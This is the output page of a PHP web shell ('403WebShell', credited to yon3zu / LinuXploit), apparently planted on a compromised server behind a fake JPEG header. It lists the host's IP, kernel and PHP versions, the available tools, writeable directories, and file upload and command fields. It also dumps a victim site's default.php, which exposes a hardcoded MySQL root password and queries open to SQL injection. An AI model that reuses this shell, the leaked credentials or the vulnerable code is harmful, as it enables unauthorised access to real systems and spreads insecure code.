????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.217.162.18
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/ap-interface/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/ap-interface/default.php
<?php
	session_start();
		if(!isset($_SESSION['ASTACUS_SSO_INFO']) || 
		(trim($_SESSION['ASTACUS_SSO_INFO'])=='')){
		header('location: index.php');
	}
	
	
	$SystemUserId  = $_SESSION['ASTACUS_SSO_INFO'][0];
	$Name		   = $_SESSION['ASTACUS_SSO_INFO'][1];
	$Username	   = $_SESSION['ASTACUS_SSO_INFO'][2];
	$UserGroupId   = $_SESSION['ASTACUS_SSO_INFO'][3];
	$CompanyId     = $_SESSION['ASTACUS_SSO_INFO'][4];
	$Email    	   = $_SESSION['ASTACUS_SSO_INFO'][5];
	$Phone     	   = $_SESSION['ASTACUS_SSO_INFO'][6];
	// Get Company name 
		
	$link = mysql_connect ("localhost", "root", "root123");
	mysql_select_db ("vpa");
			
	$sql = "SELECT Name FROM Company WHERE CompanyId = $CompanyId";
	
	$result = mysql_query($sql);
	while ($row = mysql_fetch_assoc($result)){
		$Company = $row['Name'];
	}
	
	////////////////////////////// ACTIONS ////////////////////////////////
	if($_GET['action'] == "addproject"){
		require_once("createNewProject.php");
		$result = createNewProject($_POST['Name'],$_POST['Desc'],$CompanyId,$SystemUserId ,$UserGroupId ,$Name,$Email,$Phone,1,date("Y-m-d h:m"),1,$_POST['Type'],$_POST['Date']);
		header('default.php?');
	}
	///////////////////////////////////////////////////////////////////////
?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Untitled Document</title>
<style type="text/css">
<!--
.style3 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; }
-->
</style>

<script src="js/date-functions.js" type="text/javascript"></script>
<script src="js/datechooser.js" type="text/javascript"></script>
<link rel="stylesheet" type="text/css" href="js/datechooser.css">
<!--[if lte IE 6.5]>
<link rel="stylesheet" type="text/css" href="js/select-free.css"/>
<![endif]-->
</head>

<body>
<table width="850" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="131"><span class="style3">Inloggad som: <br>
  F&ouml;retag: </span></td>
    <td width="369"><span class="style3"><?php echo($Name . " (".$Username.")");?><br>
      <?php echo($Company);?> (<?php echo($CompanyId);?>)</span></td>
  </tr>
</table>

<br>
<table width="850" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td class="style3"><strong>Aktiva projekt: <br>
      <br>
    </strong>
      <table width="850" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td width="110"><strong>ProjektID</strong></td>
          <td width="240"><strong>Namn</strong></td>
          <td width="160"><strong>Status</strong></td>
          <td width="100"><strong>Estimat</strong></td>
          <td width="240">&nbsp;</td>
        </tr>
      </table>
	  <?php 
	  $sql = "SELECT * FROM Project, ProjectStatus WHERE Project.ProjectStatusId = ProjectStatus.ProjectStatusId and CompanyId = $CompanyId and not ProjectStatus.ProjectStatusID = 11 and not ProjectStatus.ProjectStatusID = 10 ";
	
	$result = mysql_query($sql);
	  while ($row = mysql_fetch_assoc($result)){ ?>
      <table width="850" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td width="110"><a href="project.php?projectId=<?php echo($row['ProjectId']);?>&projectname=<?php echo($row['Name']);?>"><?php echo($row['ProjectId']);?></a></td>
          <td width="240"><a href="project.php?projectId=<?php echo($row['ProjectId']);?>&projectname=<?php echo($row['Name']);?>"><?php echo($row['Name']);?></a></td>
          <td width="160"><a href="project.php?projectId=<?php echo($row['ProjectId']);?>&projectname=<?php echo($row['Name']);?>"><?php echo($row['ProjectStatusDisplayValue']);?>   </a></td> 
          <td width="100"><a href="project.php?projectId=<?php echo($row['ProjectId']);?>&projectname=<?php echo($row['Name']);?>"><?php echo($row['TimeEstimationFromIndia']);?></a></td>
          <td width="218">
		  
		  <?php 
		 	 $status = "disabled";
		  if($row['ProjectStatusId'] == 8 || $row['ProjectStatusId'] == 9 || $row['ProjectStatusId'] == 10){
			  $status = "";
		  }
		  
		  ?>
		  
		  <form name="form2" method="post" action="pickup.php?projectID=<?php echo($row['ProjectId']);?>">
            <input type="submit" name="Submit" value="H&auml;mta filer" <?php echo($status);?>> 
            <input name="Filename" type="hidden" id="Filename" value="<?php echo($row['ProjectId']."_".$row['Name']); ?>">
          </form></td>
          <td width="22">&nbsp;</td>
        </tr>
      </table> 
	  <?php } ?>
      <p><strong>Skapa nytt projekt: <br>
      </strong></p>
      <form name="form1" method="post" action="?action=addproject">
        <table width="389" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td width="150">Projektnamn:</td>
            <td><input name="Name" type="text" size="40"></td>
          </tr>
          <tr>
            <td>Beskrivning:</td>
            <td><input name="Desc" type="text" size="40"></td>
          </tr>
          <tr>
            <td>&Ouml;nskad leverans: </td>
            <td>              
              <div align="left">
                <input name="Date" id="Date" type="text" value="" size="20">   
                <img src="js/calendar.gif" onclick="showChooser(this, 'Date', 'chooserSpan2', 1950, 2010, 'Y-m-d H:i:s', true);"> <div id="chooserSpan2" class="dateChooser select-free" style="display: none; visibility: hidden; width: 160px;">
</div>       
            </div></td>
          </tr>
          <tr>
            <td><br>
            Typ:</td>
            <td><br>
              <select name="Type">
              <option value="1">Order</option>
              <option value="2">Prisf&ouml;rfr&aring;gan</option>
            </select>
            <input type="submit" name="Submit" value="Skapa projekt"></td>
          </tr>
          <tr>
            <td>&nbsp;</td>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td>&nbsp;</td>
            <td>&nbsp;</td>
          </tr>
        </table>
      </form>
      <p><strong>      </strong></p>
    <p><strong>      </strong></p></td>
  </tr>
</table>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit